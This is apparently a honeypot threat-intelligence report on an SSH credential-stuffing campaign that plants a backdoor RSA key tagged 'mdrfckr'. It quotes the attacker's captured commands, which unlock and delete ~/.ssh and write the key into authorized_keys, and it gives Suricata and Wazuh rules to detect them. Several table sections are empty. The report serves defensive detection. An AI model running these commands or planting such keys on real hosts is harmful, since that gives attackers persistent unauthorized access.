345gs5662d34 / mdrfckr — Credential Stuffing + SSH Key Campaign

Published 2026-06-24 · Source: distributed honeypot fleet · Confidence: HIGH

Executive Summary

Over a 30-day window (2026-05-25 through 2026-06-24), sensors observed a coordinated two-phase campaign combining mass credential stuffing with SSH authorized_keys persistence. The campaign uses the credential 345gs5662d34 as both username and password, attempting 610,000+ logins across 7,900 unique source IPs. Upon successful login, the attacker injects a single hardcoded RSA SSH key (comment: mdrfckr) into ~/.ssh/authorized_keys, establishing persistent backdoor access.

The credential stuffing and key injection are performed by the same botnet — the top IPs participate in both phases with near-identical event counts. The campaign is remarkable for its scale (7,900 IPs), its single-credential approach (one password across 7+ usernames), and its awareness of Linux hardening (the chattr -ia pre-step to remove immutable attributes before modifying the SSH directory).

Threat Actor Profile

Phase 1 — Credential Stuffing

The campaign uses the credential 345gs5662d34 as both username and password, and also pairs it with common system usernames. The credential appears programmatically generated — possibly a default password from a specific IoT firmware or a botnet credential rotation token.

Credential Distribution

Top Participating Botnet IPs

Phase 2 — SSH Key Injection

Upon successful login, the attacker executes a two-command sequence to install a persistent SSH backdoor key. The attack is notable for its chattr -ia pre-step, which removes the immutable and append-only attributes that Linux hardening guides recommend setting on the ~/.ssh directory.

Attack Sequence (from 102.88.137.80)

# Step 1: Remove immutable attributes (unlock .ssh directory)
cd ~; chattr -ia .ssh; lockr -ia .ssh

# Step 2: Replace authorized_keys with the mdrfckr RSA key
cd ~ && rm -rf .ssh && mkdir .ssh && echo \
  "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr" \
  >>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

The key injection was observed 258,551 times across 7,594 unique IPs — a near-1:1 match with the credential stuffing IPs, confirming this is a single coordinated campaign.

Campaign Cross-Reference

The same IPs perform both credential stuffing and key injection, confirming a single operation:

Other Notable Credentials in the Same Window

Several other credential pairs appeared at high volume during the same 30-day period, suggesting either parallel campaigns or additional credentials deployed by the same botnet:

MITRE ATT&CK Mapping

Campaign Timeline

Indicators of Compromise

Credential IOC

SSH Key IOC

Command Pattern IOC

Network — Top Botnet IPs

Detection Signatures

Suricata — 345gs5662d34 Credential in SSH Auth

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (
  msg:"cowrAI 345gs5662d34 credential stuffing campaign";
  flow:to_server,established;
  content:"345gs5662d34";
  threshold:type both, track by_src, count 5, seconds 60;
  classtype:attempted-admin; sid:9003020001; rev:1;
)

Suricata — mdrfckr SSH Key Injection

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (
  msg:"cowrAI mdrfckr SSH authorized_keys injection";
  flow:to_server,established;
  content:"mdrfckr";
  content:"authorized_keys"; distance:0;
  content:"chattr"; nocase;
  classtype:trojan-activity; sid:9003020002; rev:1;
)

OSSEC / Wazuh — authorized_keys Replacement

<rule id="100302" level="12">
  <if_sid>530</if_sid>
  <match>rm -rf .ssh</match>
  <match>authorized_keys</match>
  <description>SSH authorized_keys replacement detected (mdrfckr campaign)</description>
</rule>

Collection Methodology

Data collected by a distributed honeypot fleet running SSH/Telnet protocol lures. All login attempts and post-authentication commands were captured at the application layer and ingested into a time-series database for analysis. Credential pairs, source IP addresses, and command sequences were correlated across sensors to identify the two-phase campaign structure.